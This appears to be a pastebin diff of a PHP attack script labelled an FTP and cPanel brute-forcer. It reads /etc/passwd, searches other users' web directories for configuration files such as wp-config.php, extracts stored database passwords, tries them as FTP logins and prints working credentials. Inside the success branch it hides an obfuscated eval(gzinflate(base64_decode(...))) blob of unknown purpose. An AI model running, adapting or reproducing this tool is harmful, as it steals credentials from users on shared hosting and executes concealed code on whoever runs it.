View difference between Paste ID: 4d3krkrb and MPD270Kb
SHOW: | | - or go back to the newest paste.
1
    <html>
2
    <head>
3
    <title>
4
    FTP BruteForcer
5
    </title></head>
6
    <style type="text/css" id="vbulletin_css">
7
body
8
{
9
10
	background: #1b1b1b url('http://bogorhacker.net/bin/background.gif');
11
12
	color: #ffffff;
13
14
	font: 9pt verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif;
15
16
	margin: 0px 5px 0px 5px;
17
18
}
19
@charset "utf-8";
20
/* CSS Document */
21
#konten{margin:10px auto;padding:20px;width:800px;background:transparent;font:110% Verdana, Geneva, sans-serif;}
22
h1{font-size:22px;color:#6cf;}
23
.code{padding:10px;border:1px solid #888;background:#000;color:#fc3;}
24
a,a:link,a:visited,a:hover,a:active{color:#ff0;}
25
.transparan1,.transparan2{margin:10px 0;padding:10px 20px;border:1px solid #1eff00;}
26
.transparan1{width:760px;background:#000;opacity:0.4;filter:alpha(opacity=40);}
27
.transparan2{width:900px;height:400px;background:rgba(0,0,0,0.4);}
28
</style><center>
29
30
    <?php
31
    /*
32
    Brainfuck
33
    Edited by BLACK_MASK
34
    (c) http://p-range.info
35
    */
36
    echo '';
37
    ($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<b>Error: safe_mode = on</b>');
38
    set_time_limit(0);
39
    ###################
40
    @$passwd = fopen('/etc/passwd','r');
41
    if (!$passwd) { die('<b>[-] Error : coudn`t read /etc/passwd</b>'); }
42
    $pub = array();
43
    $users = array();
44
    $conf = array();
45
    $i = 0;
46
    while(!feof($passwd))
47
    {
48
        $str = fgets($passwd);
49
            if ($i > 35)
50
            {
51
                $pos = strpos($str,':');
52
                $username = substr($str,0,$pos);
53
                $dirz = '/home/'.$username.'/public_html/';
54
                if (($username != ''))
55
                {
56
                    if (is_readable($dirz))
57
                    {
58
                        array_push($users,$username);
59
                        array_push($pub,$dirz);
60
                    }
61
                }
62
              }
63
        $i++;
64
    }
65
    ###################
66
    echo '<h1>CPaneL BruteForcer</h1><div class="transparan2"><br><br><textarea cols="100" rows="20">';
67
    echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n";
68
    echo "[+] Founded ".sizeof($pub)." readable public_html directories\n";
69
    echo "[~] Searching for passwords in config files...\n\n";
70
    foreach ($users as $user)
71
    {
72
        $path = "/home/$user/public_html/";
73
        read_dir($path,$user);
74
    }
75
    echo "\n[+] Done\n";
76
    function read_dir($path,$username)
77
    {
78
        if ($handle = opendir($path))
79
        {
80
            while (false !== ($file = readdir($handle)))
81
            {
82
                $fpath = "$path$file";
83
                if (($file != '.') and ($file != '..'))
84
                {
85
                    if (is_readable($fpath))
86
                    {
87
                        $dr = $fpath."/";
88
                        if (is_dir($dr))
89
                        {
90
                            read_dir($dr,$username);
91
                        }
92
                        else
93
                        {
94
                             if (
95
                                 ($file=='config.php')
96
                             or ($file=='config.inc.php')
97
                             or ($file=='conf.php')
98
                             or ($file=='settings.php')
99
                             or ($file=='configuration.php')
100
                             or ($file=='wp_config.php')
101
                             or ($file=='wp-config.php')
102
                              or ($file=='inc.php')
103
                             or ($file=='setup.php')
104
                             or ($file=='dbconf.php')
105
                             or ($file=='dbconfig.php')
106
                             or ($file=='db.inc.php')
107
                             or ($file=='dbconnect.php')
108
                             or ($file=='connect.php')
109
                             or ($file=='common.php')
110
                             or ($file=='config_global.php')
111
                             or ($file=='db.php')
112
                             or ($file=='connect.inc.php')
113
                             or ($file=='e107_config.php')
114
                             or ($file=='dbconnect.inc.php'))
115
                            {
116
                                $pass = get_pass($fpath);
117
                                if ($pass != '')
118
                                {
119
                                    echo "[+] $fpath\n$pass\n";
120
                                    ftp_check($username,$pass);
121
                                }
122
                            }
123
                        }
124
                    }
125
                }
126
            }
127
        }
128
    }
129
    function get_pass($link)
130
    {
131
        @$config = fopen($link,'r');
132
        while(!feof($config))
133
        {
134
            $line = fgets($config);
135
            if (strstr($line,'pass')
136
            or strstr($line,'pwd')
137
            or strstr($line,'db_pass')
138
            or strstr($line,'dbpass')
139
            or strstr($line,'passwd'))
140
            {
141
                if (strrpos($line,'"'))
142
                {
143
                    preg_match("/(.*)[^=]\"(.*)\"/",$line,$pass);
144
                    $pass = str_replace("]=\"","",$pass);
145
                }
146
     
147
                else
148
                    preg_match("/(.*)[^=]\'(.*)\'/",$line,$pass);
149
                    $pass = str_replace("]='","",$pass);
150
                return $pass[2];
151
            }
152
        }
153
    }
154
    function ftp_check($login,$pass)
155
    {
156
        @$ftp = ftp_connect('127.0.0.1');
157
        if ($ftp)
158
        {
159
            @$res = ftp_login($ftp,$login,$pass);
160
            if ($res)
161
            {
162
                echo '[FTP] '.$login.':'.$pass."  Success !\n\n";
163
     
164
    eval(gzinflate(base64_decode('rVPBbtswDL0b8D9ohoEmgFtUzmVo1qHDkC49rDPiZId2RaDITOrVEQ3JQdEN+6D95UTJSbHB2cnxQeIj3yMjknGBW1EqdsniZT6ZfZ3M7k+m83m2nH7J5ycP4zCI65Rbd8r9PaV76u/nb51lD7Kld64NyiesQQ1ir50QK4lBa4XuMI1O+Pmw5fBjHH6c4xN3sqyrm0dfuR68cXUOw+BnLPhlNNEadTT+FQZQGdij+U5KMCYar2WFBgaeQ1GvGtxrpJ0aabcG/0fDFutVRp0qo24VYnkd6oKxzYvC4LSv3zcVBh9roaBii7oQDbAbtUZ2X+MzaCjY6oV9WtzcTnI2A4kFEPBZmKflVmxKWQp1xx4YifRa0RRNwy5Y22hCFgY0IRVuPJAJYwio7dl7/g+2DXXDMtSN+3N5PrW5nGknhpDrefaKpITIzL3iARz1XtVvu3yct/1I/urCD5v10LCZHZ2VUEXZ3PVcQ0Qb2aDdxkiozaYEgVpcvYhHxDOJW+fWIMv6vxFmt/oOsqGY9tHovU3eTqCLeQRRgDYUc61xe8F2zvdOwbO5kvWpN89KO6zviWDnpBrY0pK9ekK7kux1hocQV97RqD8=')));
165
     
166
                echo '[SSH] Port'   .':' .$a1. "  !\n\n";
167
                echo '[FTP] Port'   .':' .$a2. "  !\n\n";
168
                echo '[cPanel] Port' .':' .$a3. "  !\n\n";
169
     
170
            }
171
            else ftp_quit($ftp);
172
        }
173
    }
174
    echo '</textarea><br><br><b>BruteForce Completed ...</b></body></html>';
175
    ?>
176
    </body>
177
    </html>